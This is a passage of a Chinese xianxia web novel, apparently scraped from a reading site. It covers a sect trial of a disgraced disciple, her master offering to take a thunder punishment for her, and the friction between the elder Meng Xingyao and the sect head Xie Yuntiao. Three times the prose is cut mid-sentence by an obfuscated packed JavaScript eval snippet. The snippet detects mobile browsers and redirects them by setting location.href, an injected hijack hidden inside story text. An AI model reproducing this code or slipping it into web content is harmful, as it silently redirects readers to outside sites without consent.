整个归明仙府被一种雷霆欲来的气氛密不透风地笼罩着。 虽然宗门内只言片语也未曾透露,可所有人都知道出事了,很少有像这次一样,所有长老都聚在一起,就为了审判一个犯了错的弟子。 大殿之上,顾玄明不动声色地左顾右盼,目光在各位长老身上逡巡一遍,又看了一眼中央被捆成粽子一样的孙满榕,几欲张口,最终只是暗暗地叹了口气。 一旁还跪坐着两个哭得声泪俱下的弟子,是先前替孙满榕作了伪证的证人,其中一个还是他座下的弟子,虽比不得其他几个弟子得他宠爱,但也在丢他的脸。 想到之前自己也替孙满榕说过好话,他搓了搓手,决定还是好好当个乌龟。 孟星遥静看台下目光交错,觉得差不多了,将手上的茶盏放下,开口道:“若我没记错,上一次废除亲传弟子,还是在归明仙府被太微殿追封之际吧。” 底下的蔺沉光应道:“对,尊上好记性,确实是那个时候,已经过去快千年了。” 归明仙府极少废除弟子,更别提亲传。都是精心培养多年方才成长起来的人中龙凤,若非大错,绝不会轻易驱逐。 当年归明仙府算得上是白手起家,为了迅速扩大势力而各种招人,不久后乘势而起,成为后起之秀,于仙魔乱世中建下汗血功劳,带着发迹神山清衡山一同受册封。 但那时,归明仙府尾大不掉的弊端也逐步显现。还是孟星遥带头快刀斩乱麻,顶着一片骂名肃清势力,才能有如今归明仙府的根基。 往事如烟,转瞬即逝,已是沧海多少年。孟星遥沉吟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664640|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻,看向地上死气沉沉的孙满榕,也不想再多说什么,看向一旁的池苒:“通知危梦之了吗?” “已经通知了,还有一刻钟,此香燃尽,他若不来,便代表无异议。” 此举确实只为走个形式,危梦之闭关多年,如今正是关键之际,让他为了一个犯了大错的弟子出关,几乎没有人觉得他会这么做。 香烟袅袅,摊在地上的孙满榕发出一声冷笑:“要动手就赶紧,磨磨唧唧,没必要拉我师父出来。” 她已经一副生无可恋的模样,只想快点结束这一切。可她话音刚落,忽然外面仙鹤啼鸣,便有人踏着祥云万千,如风般飘然,踏进了大殿。 玄色绣金衣袂迤逦铺开,绮靡华贵,映着那如雪长发,男子容仪俊美,却冷傲郁然,一双丹凤眼不见风情,唯有疏离,端的是极尽想象的仙人之姿。 只是那略显迟缓的步履,以及额上的冷汗,苍白的唇色,仍能看出他因强行出关,仙魂正在饱受灵气错乱反噬之苦。 除了孟星遥,其余在座的各人纷纷起身,行上一礼:“见过玉衡仙君。” 地上的孙满榕瞪大眼睛,似是不可置信,随后泪水便瞬间蓄满眼眶,她挣扎爬起,朝她的师父费力靠近几步,声音凄哀:“师父……” 危梦之并没有看向她,而是直走两步,对孟星遥端端正正行礼道:“梦之晚来,还望尊上莫怪。” 孟星遥淡淡道:“许久不见,如今仙君大境将成,我还未能送上一句恭喜。” “谢尊上吉言,一切还为时尚早,待大局定下,还请大家赏脸来长云峰共饮一杯。” 危梦之行完一礼,抬头之际,恰与星遥四目相对,只一眼,便见孟星遥瞥过头去,借倒茶错开目光。 没想到过去三百年,两个人再次见面,还是因为这种事。 真是天生的冤家。有道是新仇旧怨翻不尽,话不投机半句多。 两人没彻底撕破脸,全靠着最后那一丝薄薄的情面强撑着。 “你既然来了,也是要留下她了,她于闻秋试中打伤同门,谎话连篇,因是你座下弟子,本让你带回严加责罚即可。” “然,她偷进禁地,一犯大忌,窃习禁术,二犯大忌,欲杀同门,三犯大忌,最后又欲伤本尊,按门规,该当如何责罚?” 座下静默片刻,门规是进门必习第一课,条条道道,几乎无人背不下来。 这罗列的一箩筐罪名条条该重罚,尤其最后一条,袭击普通师长已是大罪,更何况是孟星遥。 孙满榕自危梦之进殿之后,已经泪流满面,此刻更是哭得泣不成声,她疯狂摇头,哑着嗓子哀求:“师父,求求您了,您让我下山吧……如今我已成废物,我不想再丢您的脸……” 危梦之沉默着,不知过了多久,他一甩衣摆,双膝下跪,深深地叹了口气。 “教徒无方,让她犯下如此大错,是我全责,既然执意保她,便该当由我受罚,请——受雷刑。” 世人常道仙家宽容,不会对弟子乱加严刑,却不知一切只是以境界区分。 以危梦之近登上仙之位,对应的惩罚则会严苛许多,其中最为严重者的为雷刑。 雷刑者,共六六三十六道天雷之鞭,不可以仙法、法宝相护,须每条雷鞭落实到底。 雷鞭疼痛,刺骨钻心,伤害层层叠加,越到后面伤得越深。 受此刑法,不仅修为大损,且仙魂疼痛如灼,恢复缓慢,尤为折磨痛苦。 更别论他现在这副伤势,更是雪上加霜。 满座哗然,玄明等人慌忙起身,纷纷劝道不至于。池苒在一旁眉头紧蹙,看向孟星遥,欲言又止,落到嘴巴化作一句:“他何必。” 孟星遥静静靠在高座之上,冷眼相看底下一切,那雪色长发遮住危梦之的脸,看不清他的表情,也无法透过他的眼睛看清他的想法。 可是又何必看清,她努力忍下心中的愠怒,冷笑一声:“既然有如此求,那便如你所愿。” 池苒犹豫一下,最终还是挥了挥手,随后便有几位公明堂弟子一同随她往危梦之走去。 殿中叹息一片,孙满榕挣扎爬到台下,仰头悲声:“尊上,一人做事一人当,要罚就罚我吧,都是我做的,与我师父无关啊!……” 孟星遥沉默着,漂亮的长睫掩下,眸色晦暗复杂,看不清情绪。 就在此时,山门之外忽然传来风铃清音阵阵。 墨色长发高冠而束,玉石流苏环佩轻响,身后背负的燿灵剑剑意凛冽,日光之下,流金璀璨。 那颀长身姿挺拔如覆雪松柏,昂首阔步迈进大门。 是谢云迢回来了。 4. 第四章 谢云迢一走进殿中,只一眼,原本窃窃私语的人群登时安静了下来。 金色的外袍多了不少折痕,隐隐沾了些微血迹,一看就是经历了不少酣战。 便是连衣服也来不及换置妥当,就直奔这里。 孙满榕一见谢云迢赶到,顿时如看见了救命稻草,焦急地喊道:“掌门师伯,掌门师伯,您拦一下,求您拦一下啊,这雷刑,千万不可用啊!” 谢云迢似乎已经知晓,并不吃惊。他的目光轻轻掠过四周的其他人,掠过跪着的危梦之,最后落到了孟星遥的身上。 而后者也正好整以暇地注视着他,那张风华绝代的脸上没有任何表情。 他往前走了几步,正好挡在了危梦之的跟前。危梦之抬起头,似乎是想说什么,可是前者并没有停下,仍是朝前方走了过去。 “事情的原委,我已尽数知晓,孙满榕犯下重重大错,还袭击尊者未遂,按理应剔骨剥灵,驱逐出门,梦之既然想要保她,受罚也是应当。只是如今衡天府正是缺人的时候,仙首日前还说,待玉衡出关,有其他要务需委以他,不好耽搁。便由我定夺,此事容后再议。” “至于孙满榕,废去长云峰亲传弟子之位,削去顶上三花,送至戒律塔罚抄门规三千遍,并送归飞雪剑宗监看,若有再犯,绝不留用。” 殿中一片鸦雀无声,无人敢在这时候说话。 良久,忽闻三下击掌声,孟星遥站起了身。她莲步缓缓,踱下台阶,脸上终于挂上了一抹微笑:“掌门英明,我无异议,池苒,便按掌门吩咐的,将他们带下去吧。” “此事,就此作罢。” 台上高座唯有一张,是留给唯一的掌门。 两人擦肩而过的时候,有淡淡的花香萦绕过鼻尖,层层叠叠的华贵衣袖碰撞形如浪花翻涌,发出一瞬的沙沙声。 然而也只一瞬。谢云迢回过头去,那花香早已随着那道迤逦身影消失在了门外。 身后一同回来的少衡低声开口:“掌门,那颗夜明珠,我还是现在给尊上送过去吗?” “……”谢云迢迟疑了一下,终究叹了口气,“罢了,晚一点吧。” 长云峰最终被罚以三百万灵币,且全脉弟子为清衡山打洒三十年的惩罚。 三百万灵币,对一向锦衣玉食的长云峰来说算是大出血了一场,但比起尊师受雷刑,总归是留了情面。 一场插曲就此落下帷幕,综合各卷成绩,因排名前两位的弟子皆因犯错被罚,最终排在第三位的应远拿下了魁首。 众人在恭贺越风真君的同时,关于孙满榕重伤同门,袭击师长,玉衡仙君出关救徒,宗主护短二人这几件事,也免不了成为了闲时八卦。 毕竟门内一直有小道消息,说谢云迢和孟星遥二人虽为师姐弟,是同门之间相识最久,仙府事务也全权交给后者管理,但因孟星遥太过强势,所以两人之间常有分歧,算不得和睦。 同时,因相貌有几分相似,一直也有私下传闻,说玉衡仙君将孙满榕当作尊上的替身,可如此看来,似乎对其的好更甚于对本尊。 修炼枯燥,心性难炼,法不责众,任凭如何明令禁止私下妄议,这样的风言风语如夏日池水边的小小蚊萤。 无害却烦人,总也消灭不尽。 孟星遥半倚靠在窗台边,看着白芷指挥百药宗的弟子们将一盆盆草药搬出屋外晒日头。 其中最惹眼的,是新栽培的一批仙草,名唤兰殊。兰殊根茎入药,可以治百毒,花蕊百年成晶,可医治离魂伤魄,可惜娇贵稀少,哪怕以仙气供养,也极易夭折。 幸得百年前云湫岛岛主闻晴做客归明,送来了一株珍贵的兰殊原种,方才让她们在今年栽培出了一批长势良好的仙草。 檐下风铃摇晃,叮铃作响,园中花草争奇斗艳,为首的兰殊仙草摇曳生姿,并排而立,色泽美丽,清香扑鼻,令人望之心旷神怡。 刚摆放整齐,池苒便从外头进来了。 今天没有公务,两人都穿了一身便服,池苒一身棕红色精巧劲装,干净利落,孟星遥则是素色绣银纹罗裙,虽样式简单,但料子与绣纹也是肉眼可见的上等,不仅不显寡淡,反而更衬出她容貌昳丽。 外头喧嚣吵闹的,百药宗这边的药园倒有一种与世隔绝的宁静。 “你交代我的事,我去查了。”池苒一边喝着白芷端上来的茶,一边拿出几张纸,“孙满榕确实从三十年前就不太留在长云峰,经常回飞雪剑宗待着,算起来,她停滞的修为也是自那之后好像有了动静。五年前还多亏了她在场,飞雪剑宗才能及时诛杀云凌城的那个大蛇妖。” 一张纸是一小幅地图,上面用朱砂笔画了几个圈。 圈起来的地方位于薄山云凌城一带。薄山连绵长阔,地势复杂,恰好处在东荒西南二洲和西荒的交界处,但因大部分山体处于西洲界内,故最后还是划拨到了归明仙府头上,又因靠近泽苍山,后面便由飞雪剑宗接手,代为管理。 薄山很久前是个三不管地带,山匪横行,妖孽作乱,云凌城也只是个凡间穷困破败的小村子,被归明仙府接手后,方才有了些好日子。 谁也没料到,七百多年前一场浩大的雷雨山崩,会令山体之下潜藏的巨大灵石矿脉显露出来,云凌城也乘着东风飞快起势,短短几百年便成为一座连通各大仙山、仙门子弟聚集采卖的贸易要城,一直繁华到今日。 近水楼台先得月,负责镇守薄山灵矿和云凌城商道的飞雪剑宗身价也逐渐水涨船高。 而五年前,此地忽然出了一件大事。 原本只是凡间民夫遇见意外,后面连仙门修士都开始接连失踪,引得人心惶惶,因云凌城地位特殊,飞雪剑宗及凡间城主无法私自处理,便上报了归明仙府,由归明仙府派人前去协理。 事情倒也不复杂,顾玄明带领十七名精英弟子过去之前,飞雪剑宗就已经将情况大致调查清楚了。 原以为只是山魅作乱,引诱民间村夫,云凌城常年修士云集,见山魅作乱,便自告奋勇前去薄山除祟,却不料薄山深处不知何时潜入了一只受了重伤的千年蛇妖,修为已近羽蜕,修士被山魅蛊惑,不慎误入妖兽领地,有来无回,而他们的内丹恰好滋补了妖兽之伤,更令其欲壑难填,开始主动出山入城,偷袭掠夺无辜之人。 妖兽凶残,终究寡不敌众,归明仙府的人去了半月,带领飞雪剑宗设下埋伏,最后靠着孙满榕的一招秋水剑法,成功将其斩杀。 因为受害者除了一些惨死的散修之外,事还有几个重伤的琅华仙谷和重霄仙府的弟子,顾玄明只得又多留了几日善后,赔礼宽慰两大仙门的使者。 云凌城之案,孟星遥自然知情,飞雪剑宗呈上的案卷亦是她批阅的。蛇妖的洞穴被一把火焚尽,被它所收服的山魅也四散逃离,因飞雪剑宗为除妖主力,千年蛇妖的内丹虽是极品,却也作为奖励悉数给了他们。云凌城本就富裕,那阵子更是张灯结彩地庆祝了一番。 作为贸易大城,云凌城人多眼杂,此事十分棘手,飞雪剑宗却处理得十分漂亮,作为领队的顾玄明脸上也大大有光,对飞雪剑宗以及同去出力的弟子大加赞赏,尤其是表现最为优异的孙满榕。 见孟星遥颔首,池苒忍不住问道:“怎么了,为何查起这些事?” “你来,我带你看一件东西。” 两人进入内室,孟星遥抬手轻划,织就一方屏障,随后从袖中取出一只玉葫芦,置于掌心。 她阖目念诀,不过须臾,那玉葫芦发出剧烈的抖动,下一刻,一簇剧烈挣扎的黑色灵力从葫芦中冲了出来,被一道强劲的真气裹挟住,悬浮于半空之中。 “这……”池苒面露疑惑,看清这团焰火的真身之后,她讶然道,“这……这灵力怎么会这样,这是大藏心经的缘故?” 半空之中,那团黑色的雾气如有生命一般垂死挣扎,腾空咆哮,甚至在试图吞噬周遭遏制着它的天罡真气。 “她是危梦之的徒弟,知道这本秘卷,不奇怪,但禁地里的那本大藏心经,并不会造成这样的后果。” 大藏心经,失传已久,但在失传之前,却是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664641|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本还算有名的功法。 其修炼思路自成一体,分为上下两卷,阴阳调和,互相制衡,吸纳天地灵气,循序增进,固本培元,是一本不可多得的,可以快速增进修为的功法心经。 而这本功法虽有奇效,却流传不广,更随着天魔之战而遗失。它被孟星遥列为禁术丢进禁地,还有个原因,其所存本确实是残卷,不能修炼,既无害处,也无裨益,省得有人浪费时间。 池苒眉头紧蹙:“你意思是说……这卷不能修炼?” “不能。”孟星遥颔首,“当年是我亲手带回来的,可惜只有一半的一半。” “那就奇了怪了。”池苒说,“我们仙府内也没几个人学过这个功法吧?难不成是危梦之给了她其他部分……” “他给她的灵丹妙药还少吗?就算想帮她,也不必用这种法子。” “倒也是。”池苒托腮思考,“他这么疼她,不至于教她学这种禁术,要我说,这丫头太过急于求成,倒是更符合玄明的性子,只可惜拜到了危梦之的门下……不过若是顾玄明,出了这事,想来也不会保她。” “她现在如何了?” “还能如何,虽说修为已废,还被削去了顶上三花,赶出长云峰,但毕竟是宗主女儿,剑宗对她自然还是照顾。危梦之待她不薄,她走之前还赠与了许多法宝给她。说是惩戒,可待她还不好吗?只看她自个儿能不能想明白。” 孟星遥点点头,并未多言,她目光落在那簇灵力之上,从孙满榕体内剥离出的邪气比宁音识海之中的更加强烈,虽被扼制,但烈焰灼灼,在空中吐纳腾绕,如有呼吸一般。 两指轻轻掐了个诀,邪火便被收回了玉葫芦之中。 “此事有异,你平日还是多盯着点,看能不能从她嘴里问出个所以。” “嗯,我知道。”池苒刚点头,屋门忽然被叩响,外边传来白芷恭敬的声音:“尊上,池长老,宁音醒了。” 两人对视一眼,一同往外走去。 花草葳蕤,曲径通幽,石阶两旁的玉竹白梅错落有致,院中一弯清池,倒映出晴朗碧空,更添几分幽静之色。 百药宗的诊舍很大,院落布局以静为主,越往里,越静谧,以期给伤患更好的休养。 现在里面的一间屋子却聚了不少人。孟星遥进去之时,正有弟子正替宁音拆纱布,身上的已经尽数拆完,只余下头上的一圈。她身上的伤势恢复良好,比她预想得快得多。 见她们进来,屋里的人纷纷行礼,孟星遥摆了摆手,径直走到床榻前,宁音在她过来之前便已经着急起身,激动地说道:“见过尊上,我昏迷之时的事,白堂主已经尽数告之,多谢尊上明察秋毫,宁音感恩在心,不知如何回报。” 女孩身量不高,形容小巧,一双眸子却又大又圆。孟星遥制止了她的行礼,柔声道:“不必说这些,你才刚醒,可还有其他不适的地方?” “多谢尊上关心,”许是之前伤势的后遗症,宁音的脸色还是略显苍白,她摇了摇头,“我感觉尚可,并无其他的不适。” 一旁的白芷接话:“还好有尊上出手,宁音如今奇经八脉畅通,灵气护体,确已大好,只要按时吃药,想必也无大碍了。” 没有吗?孟星遥垂目沉思,又听到宁音小心翼翼地问道:“那……我是不是可以回清河道宗了?” 她轻轻接过她的右手,悬指诊脉,确实是灵脉通畅,甚至比先前更为活络,孟星遥点了头:“可以,再休养几天,若情况稳定,便先回去吧,记得按时来百药宗服药即可。” 宁音眼前一亮,感谢的话还没说出口,又听孟星遥继续道:“不过你先前根基有损,恐有遗症,八日后,再来清衡山寻我一趟。” 一旁的池苒挑了挑眉,倒是宁音懵懵懂懂地点了点头,随后她咧嘴一笑,十分高兴地说道:“谢谢尊上,您真好。” 身旁的人皆是一愣,包括孟星遥,但宁音的眼神清澈,却是十分真诚,她不由地也笑了,起身道:“好了,你多加休息吧,早点康复,你也可以早点回去。” 5. 第五章 从屋子里出来的时候,恰好有风吹过,檐下的风铃轻响,清脆却悠远,随即又被门外传来的悉悉索索的响声给掩盖了过去。孟星遥抬起头,看见不远处三三两两逐步走近的人群,问道:“是清河道宗的弟子?” “回禀尊上,是清河道宗的弟子。宁音昏迷的这些天他们十分担忧,是也常来看望她。” 她们刚好站在了拐角处,是以这群弟子并未看见她们。人数不多,只有三四个人,皆配着长剑,面容年轻,意气风发,这种年纪,正是万般情绪都写在脸上,应当是听说宁音醒了,急急忙忙就往屋里赶来。 “哎,年轻真好。”池苒摸了摸脸,感叹道。孟星遥看了眼她那和从前一般无二的脸,笑道:“怎么,想起年轻时候了?” “嗯……也不是很想。现在就挺好的。”池苒嘿嘿一笑,趁白芷她们都回去了,四下无人,攀上她的肩旁:“欸,我跟你说,那丫头被退回去,飞雪剑宗可急疯了,再过几天就是大议会的日子,今年再加个千岁庆典,少不了要折腾。” 孟星遥正欲往院外走去,听到她这句,轻笑一声:“来呗,兵来将挡水来土掩,还能如何。” 池苒跟了上去,又忍不住嘟囔:“我看未必容易啊……” 屋舍之下,一盆盆兰殊仙草迎风摇曳,枝叶舒展,风吹过,带来阵阵沁人心脾的幽香。 两人结伴走出百药宗。 沿着山道一路慢慢踱回池华殿,沿路经过是药田和演武场,云海悠悠,众弟子各司其职,忙忙碌碌,倒是另有一番和睦惬意的意境。 长长的山道很快走完。 过山门,登玉阶,抬头处,豁然开朗,仙气缭绕的亭台回廊坐落仙山之上,阳光照在宫阙的琉璃瓦上,折射出粼粼华光,门外的玉石碑上精雕细琢着如行云流水一般的“池华殿”三个字。 然而刚走进院门,两人俱是一愣。 两抹不速之客的身影映入眼帘,为首的那位高冠墨发,身姿挺拔,正与少衡静坐闲聊。 中间的玉石茶桌上摆放着精致的茶点及泡好的清茶,看这模样,已是来了有一会儿。 一旁侍立的小仙侍面露难色,又不敢妄动,忽见孟星遥回来了,顿时如蒙大赦,急忙小跑而来,行礼道:“恭迎尊上回府。” 两人闻言转身,和她们打了个照面。 不是吧,这么快?说什么就来什么? 池苒后悔自己方才的乌鸦嘴,孟星遥倒是神态自若地走进院落。 “等了很久?怎么不说一声就来了,我还说等明日上你那儿聊聊这几日的烂摊子。” 少衡起身行礼,悄悄往旁边挪了几步,他本意是想腾出谢云迢身侧的位置,可是仙侍却把孟星遥的软椅放到了另一侧。 和谢云迢面对面坐着。 今天的谢云迢一身常服,以白色为主,玄红色绦带点缀,十分低调,下摆缀了归明仙府另一套惯用的芍药卷云纹,头戴冠簪,玄色抹额上嵌了一颗白玉珠子,更显得他丰神俊朗。 听见她先下手为强的问话,他放下茶杯,看似很随意回道:“没多久,我正好路过,就想着顺道来你这儿看看。” “哦?”孟星遥接过仙侍递来的茶,好整以暇地看着他:“看来掌门这几日很是闲暇啊?我这池华殿远离繁华,与门中各府邸都不顺路,你也能顺道闲逛过来?” 谢云迢:“……” 旁边的池苒战术性地拿起一块糕点细嚼慢咽,假装没听见,对面的少衡恰好也举起了茶杯细细品味。 而一旁准备加水的仙侍端着茶壶,看着他已经见底的杯子一脸疑惑。 谢云迢叹了口气,掐指使了个法诀,便有一个精致的锦盒被他虚空取来,放在了茶桌之上。 “我直说吧,来这一趟,是给你送个东西。” 锦盒是金丝楠木制作,上面雕刻着精致的花纹,古朴华丽。 孟星遥面无表情地静待下文,一旁的池苒拍了拍手,非常配合地帮忙打开盒子,却在看清里面物品时情不自禁地惊呼了一声。 上好的天蓝真丝为底,托着中间一颗圆润的夜明珍珠,那珠子流光溢彩,晶莹饱满,上面隐隐有波纹流动,犹如碧波翻涌。 即便现在天色仍早,依旧散发着不可忽视的淡淡光芒。 一看就是不可多得的珍品。 别说是池苒,就连孟星遥也微微面露讶异。 “青天碧海夜明珠?怎么来的?” “这次去北海除魔,其实是给朝晖帮了大忙,前几日有群魔修在北海为非作歹,掠走无数珍宝,其中就包括这只珠子,既然夺了回来,她说作为谢礼送我们了,”谢云迢摸了摸鼻子,垂眸看着莹润的宝珠,“我记得你之前不是说过你想要,想着也正好,就不跟她客气了。” 孟星遥微微侧头,和池苒对视一眼,彼此心照不宣。 谢云迢这人,不仅玉质金相,相貌堂堂,更是年少成才,年纪轻轻便成为名门掌教,习得一手开阳重光剑法,世间无双,又有指挥万军之才,对阵杀敌不落下风,故在十方仙洲也是颇得赞誉,威名远播。 如此风华,他成名这千百年来,自然也有不少倾慕者。 可惜谢云迢是个千年铁树万年武痴,不解风情,空有一张长了微微桃花眼的好皮相,偏偏修个无情道,多少少女情怀,葬送在他身上。 这世上最吸引的他的不是花前月下温香软玉,而是与兄弟至交大战妖魔三百场,酣畅淋漓! 每次一有大妖或魔物现身,他总是第一个出现,甚至没有战斗也要创造战斗。有时候天界仙洲遍寻他不见,十有八九是带人寻了妖窟魔巢攻城略地去了。 这样的人,自然对这类贵重珍品兴趣寥寥,即便知道很贵重,也不懂送出这东西代表的含义。青天碧海夜明珠实则为避水神珠,配之可无视法力,在海中自由生活,自然不可能随便给。 北海帝姬这番心意,只怕又是一出神女有心,襄王无意。 但是……朝晖?叫得倒还挺亲切。 孟星遥伸手一勾,把盖子给合上了。 “你此去除魔,也不是你一人的功劳,帝姬要谢自然谢的也是归明仙府,我拿着做什么?这东西就送入库房吧,也能给宗门贴补物用。” 意外的是,这次谢云迢却没由着她。 他伸手按下了锦盒,语气十分认真:“别,这次,当作是我送你一人的。” 微风吹过,海棠花落,纷纷如雪。有一片花瓣轻轻飘下,飘过他的发间,拂过他的白玉额带,在他的鼻尖痣轻点了一瞬,又飘然而去。 他目光灼灼,令孟星遥有一瞬的怔忡。 手指在盒上打了两圈圈,她清咳了一声:“……这么客气?那我就……勉为其难收下吧。” 谢云迢露出了满意的笑容。 今天太阳打西边出来了? 池苒若有所思地看着他俩,察觉到此刻气氛微妙,正琢磨要不要打趣一番。可谢云迢却忽然又开了口。 “好,既然如此,我便直言不讳了。”他放下手,继续道,“方才我其实是从长云峰过来的,梦之他身上有旧伤,又强行出关,遭受反噬。即便孙满榕和他有错在前,东曜殿上无戏言,你不该同意对他施以雷刑。” 众人皆是一怔,池苒和少衡对视一眼,脸上都刻着两个字:完了。 孟星遥的表情凝重,眼神变得冷淡:“这是他亲口所求,我不过是应允了而已。” “你知道他这话不合规。” “有意思,千把岁的人了,说出的话,也要我替他考虑?” “阿星。”谢云迢像是早就料到她会这么说,心平气和地看着她,“如果今天跟你说那气话的是池苒和小绫,抑或是我和少衡,哪怕是玄明他们,想必你都不会轻易同意……若是我未曾赶回,那日该如何收场,你想过吗?” 好一出先礼后兵,原来在这里等她。 孟星遥娥眉微蹙,冷笑了一声,也懒得和他打哑谜。 “你觉得我在针对他?可笑,就他和他徒弟那德性,我若是有意针对,他长云峰还能安然留到今天?” “谢云迢,你放千百万个心,有我在,他死不了,若真有那么一日,即便他只剩一口气,我也会亲自救下他,就像三百年前那样,一分不差地把他还给你。” 池苒心中一紧,着急地对少衡使了个眼色,可是后者却把目光挪开,一副避之若浼的模样。 她气得狠狠瞪了他一眼。 听此一言,谢云迢神情复杂地抬眸,恰好与孟星遥对视。 这一瞬眼神交锋,谁也没退让。 “阿星,在归明,你想做什么我都同意,”他说,“但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664642|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这件事,我不会允许再发生。” 孟星遥一时语塞。 她知道他一向看重兄弟情谊,尤其是危梦之,不仅是因为他俩发于微末的过命兄弟情,也是因为,他曾经答应过一个人要替她守好归明仙府。 归明仙府这一路走来,看似顺风顺水,内里艰辛却不可多说。仙魔乱世,多年战争,许多人来的来,去的去,再也不能见。 最后的终止符落在三百年前的一场意外里。 当时归明仙府奉旨去云梦泽畔围剿魔君嗔罪,却爆发了内乱,不仅围剿失败,更是损失了许多视如亲人的同门。 特别是危梦之的姐姐苏祈月,更是为了替谢云迢挡刀而失去了生命。 这一切也导致了五百年前因天界异变而取消的千年庆典,再度被取消,一直拖延至现在。 这么多年过去,他越发患得患失,如此,反倒显得她斤斤计较。 长长地深吸一口气,孟星遥的脸上挤出一丝笑容:“不行就不行,看把你急的。” 其实话出口的那一刻,她已经后悔了。 只是还来不及道歉说是气话,谢云迢就已经如此认真地回答,反倒让她不知如何收场。 “……好了,时候也不早了,掌门莫怪,尊上她这几日操劳,想来也是乏了。” 池苒适时插进话来,环住孟星遥的手臂,对谢云迢笑了笑,给一旁的少衡使眼色:“少衡,过几日议会的册子你呈给掌门看过了吗?还不抓紧呀,时候马上要到了。” 少衡应道:“啊对,是我差点耽搁了,掌门,我们要不先回去吧?” 有一瞬的安静,只有风吹着海棠花落下的声音。 孟星遥垂下眼睫,平静无波地说:“既然如此,掌门先忙,我身体有点不适,就不送了。” 她起身之时,他微微仰起头,有那么一刻,他似乎想说些什么。 可最终他什么也没说,好似一切只是她的错觉。 她拂袖往寝宫走去,池苒连忙抱起锦盒跟上。 少衡转头试探地问道:“掌门?” 谢云迢垂眸不语,将杯中的茶水饮尽后,他轻轻放下茶杯。 “走吧。” 孟星遥伫立在窗前,看着两人的身影很快消失在视线的尽头。 一旁的池苒问道:“这颗夜明珠,我放到库房去?” 她垂眸看了一眼那流光晶莹的碧蓝珠子。 “罢了。”她说,“就放我这儿吧。” 想了一想,又说:“百药宗上次新开的那炉丹药,给长云峰送一份过去吧,再备点其他东西一起。” 池苒讶异地看向她。 炼制丹药是仙门六艺之一,宗门弟子修道时必学的基础理论中便有药理一项。 此事涉猎容易,精通却难。不仅深入其中的药理复杂晦涩,高阶的丹药开炉还十分讲究天时地利人和,缺一不可,更与炼丹之人的修为紧密相连,故多年以来,最珍品的灵丹妙药仍是不可多得。 此番百药宗开炉的玄素补灵丹是孟星遥花了百年时间才搜寻到遗落的古方残卷补全而成,一炉也只能开二枚,不仅可立即修补仙体仙魂无论何种程度的损伤,还能相助吸收天地灵气,达到进阶破境之效。 孟星遥虽为上仙之位,大道已成,但成神之路遥远,境界短时间难以突破,闲暇无聊时便爱捣鼓这些玩意,有些用得上,也有很多用不上。 即便她自己用不上,这样的丹药对他人来说也十分珍贵抢手。 池苒悻悻然地说:“瞧把他金贵的,不知道的还以为那雷刑真劈到他了呢。” “无妨,原本也是给你们备的,还以为没机会给出去,倒也正好。” “唉……”池苒背着手,摇了摇头,“你倒是做什么都把人算上,可是那哥几个呢?什么样的师傅教出什么样的徒弟,一个个没甚出息又争强好胜,练功不行,花花心思倒多。” 话头一顿,她忽然神神秘秘地凑了过来:“我听说苏祈月伤势大好了?” 孟星遥看了她一眼,揣着明白装糊涂:“这你都知道?” “你这话说得,如今归明仙府还有什么事能瞒得过你我二人吗?” 身为掌管宗门情报网,对上到大荒局势下到各宗门后院八卦秘辛都多有涉猎的公明堂堂主池苒大咧咧地伸了个懒腰。 6. 第六章 一百年前,闻晴来做客的那次带来一个消息,那就是苏祈月的离魂失魄之伤的救治见效了。 身为归明仙府曾经的二掌门,天璇仙君苏祈月亦出身于南明金羽孔雀神族,是危梦之的亲姐姐,为人开朗大方,才华横溢不说,又擅长医术,凡是提起她,几乎无人不夸赞有加。归明仙府能有如今规模,她也是付出了不少心血。 而这样的人,却死在了三百年前的那场内乱里。听闻她身亡之时,谢云迢拼了命地施法相护,带她及时拼杀出重围,方才留住了她仅存的三魂四魄。 但离魂之伤难医,古今多少年,也未曾听说过几次成功的例子。故而她的魂魄马上便被送往南荒的一处名叫吟月台的福地洞天救治。 位于佛笑池的吟月台是危梦之在南荒沂梦川的旧居。身为曾经南明神族的孔雀世子,他儿时自然有一处属于自己的殿堂。其中最为漂亮的就是一处名为吟月台的阁楼。 传闻吟月台奢华美丽,可上观星月,下赏湖景,湖边种满荼蘼花,随风摇曳,如坠梦端,胜过千重雪。危梦之当年常在孟星遥跟前提及,总说待收复失地之后,要带她去观花品酒赏月。 谁也料不到收回来之后,两人也反了目,还是靠着苏祈月才能得以观瞻。 为了救她,整个归明仙府可以说是倾尽血本。不仅请来云湫宗的各位医修巨擘,谢云迢甚至还跑去琅华仙谷请来了师承人皇神农一脉,在天漠山避世钻研的百里清音出山。 